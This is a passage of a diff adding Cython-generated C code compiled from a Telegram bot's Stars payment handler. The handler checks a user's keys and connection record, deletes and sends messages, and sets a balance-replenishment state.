__pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, __pyx_cur_scope->__pyx_v_tg_id}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L12_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 85, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_exists = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":86 + * if key_count == 0: + * exists = await check_connection_exists(tg_id) + * if not exists: # <<<<<<<<<<<<<< + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + */ + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 86, __pyx_L1_error) + __pyx_t_15 = (!__pyx_t_2); + if (__pyx_t_15) { + + /* "handlers/payments/stars_pay.py":87 + * exists = await check_connection_exists(tg_id) + * if not exists: + * await add_connection(tg_id, balance=0.0, trial=0, session=session) # <<<<<<<<<<<<<< + * + * try: + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_6 = PyTuple_New(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_tg_id); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_tg_id); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_cur_scope->__pyx_v_tg_id)) __PYX_ERR(0, 87, __pyx_L1_error); + __pyx_t_7 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_balance, __pyx_float_0_0) < 0) __PYX_ERR(0, 87, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 87, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 87, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L14_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 87, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 87, __pyx_L1_error) + } + } + + /* "handlers/payments/stars_pay.py":86 + * if key_count == 0: + * exists = await check_connection_exists(tg_id) + * if not exists: # <<<<<<<<<<<<<< + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + */ + } + + /* "handlers/payments/stars_pay.py":84 + * key_count = await get_key_count(tg_id) + * + * if key_count == 0: # <<<<<<<<<<<<<< + * exists = await check_connection_exists(tg_id) + * if not exists: + */ + } + + /* "handlers/payments/stars_pay.py":89 + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + * try: # <<<<<<<<<<<<<< + * await callback_query.message.delete() + * except Exception as e: + */ + { + __Pyx_ExceptionSave(&__pyx_t_16, &__pyx_t_17, &__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_16); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_18); + /*try:*/ { + + /* "handlers/payments/stars_pay.py":90 + * + * try: + * await callback_query.message.delete() # <<<<<<<<<<<<<< + * except Exception as e: + * logger.error(f" : {e}") + */ + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 90, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_delete); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 90, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_t_7 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 90, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_16); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_16; + __Pyx_XGIVEREF(__pyx_t_17); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_17; + __Pyx_XGIVEREF(__pyx_t_18); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_18; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L21_resume_from_await:; + __pyx_t_16 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_16); + __pyx_t_17 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_17); + __pyx_t_18 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_18); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 90, __pyx_L15_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 90, __pyx_L15_error) + } + } + + /* "handlers/payments/stars_pay.py":89 + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + * try: # <<<<<<<<<<<<<< + * await callback_query.message.delete() + * except Exception as e: + */ + } + __Pyx_XDECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; + __Pyx_XDECREF(__pyx_t_18); __pyx_t_18 = 0; + goto __pyx_L20_try_end; + __pyx_L15_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + + /* "handlers/payments/stars_pay.py":91 + * try: + * await callback_query.message.delete() + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * + */ + __pyx_t_19 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_19) { + __Pyx_AddTraceback("handlers.payments.stars_pay.process_callback_pay_stars", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_3, &__pyx_t_6, &__pyx_t_7) < 0) __PYX_ERR(0, 91, __pyx_L17_except_error) + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_7); + __Pyx_INCREF(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_v_e = __pyx_t_6; + /*try:*/ { + + /* "handlers/payments/stars_pay.py":92 + * await callback_query.message.delete() + * except Exception as e: + * logger.error(f" : {e}") # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 92, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 92, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 92, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_4 = __Pyx_PyUnicode_Concat(__pyx_kp_u__5, __pyx_t_11); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 92, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_14))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_14); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_14); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_14, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_4}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_14, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + + /* "handlers/payments/stars_pay.py":91 + * try: + * await callback_query.message.delete() + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L28; + } + __pyx_L27_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; __pyx_t_26 = 0; __pyx_t_27 = 0; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_25, &__pyx_t_26, &__pyx_t_27); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_22, &__pyx_t_23, &__pyx_t_24) < 0)) __Pyx_ErrFetch(&__pyx_t_22, &__pyx_t_23, &__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_25); + __Pyx_XGOTREF(__pyx_t_26); + __Pyx_XGOTREF(__pyx_t_27); + __pyx_t_19 = __pyx_lineno; __pyx_t_20 = __pyx_clineno; __pyx_t_21 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_25); + __Pyx_XGIVEREF(__pyx_t_26); + __Pyx_XGIVEREF(__pyx_t_27); + __Pyx_ExceptionReset(__pyx_t_25, __pyx_t_26, __pyx_t_27); + } + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_ErrRestore(__pyx_t_22, __pyx_t_23, __pyx_t_24); + __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; __pyx_t_26 = 0; __pyx_t_27 = 0; + __pyx_lineno = __pyx_t_19; __pyx_clineno = __pyx_t_20; __pyx_filename = __pyx_t_21; + goto __pyx_L17_except_error; + } + __pyx_L28:; + } + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + goto __pyx_L16_exception_handled; + } + goto __pyx_L17_except_error; + + /* "handlers/payments/stars_pay.py":89 + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + * try: # <<<<<<<<<<<<<< + * await callback_query.message.delete() + * except Exception as e: + */ + __pyx_L17_except_error:; + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_ExceptionReset(__pyx_t_16, __pyx_t_17, __pyx_t_18); + goto __pyx_L1_error; + __pyx_L16_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_ExceptionReset(__pyx_t_16, __pyx_t_17, __pyx_t_18); + __pyx_L20_try_end:; + } + + /* "handlers/payments/stars_pay.py":94 + * logger.error(f" : {e}") + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" :", + * reply_markup=builder.as_markup(), + */ + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_answer); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + + /* "handlers/payments/stars_pay.py":95 + * + * await callback_query.message.answer( + * text=" :", # <<<<<<<<<<<<<< + * reply_markup=builder.as_markup(), + * ) + */ + __pyx_t_7 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 95, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_text, __pyx_kp_u__6) < 0) __PYX_ERR(0, 95, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":96 + * await callback_query.message.answer( + * text=" :", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 96, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_14 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_14)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_14); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_14, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 96, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_reply_markup, __pyx_t_3) < 0) __PYX_ERR(0, 95, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":94 + * logger.error(f" : {e}") + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" :", + * reply_markup=builder.as_markup(), + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L33_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 94, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 94, __pyx_L1_error) + } + } + + /* "handlers/payments/stars_pay.py":99 + * ) + * + * await state.set_state(ReplenishBalanceState.choosing_amount_stars) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 99, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 99, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_choosing_amount_stars); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 99, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_t_1}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 99, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 7; + return __pyx_r; + __pyx_L34_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 99, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 99, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/stars_pay.py":32 + * + * + * @router.callback_query(F.data == "pay_stars") # <<<<<<<<<<<<<< + * async def process_callback_pay_stars( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_AddTraceback("process_callback_pay_stars", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/stars_pay.py":102 + * + * + * @router.callback_query(F.data.startswith("stars_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_4process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_9stars_pay_4process_amount_selection = {"process_amount_selection", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_9stars_pay_4process_amount_selection, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_4process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 102, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 102, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 102, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, 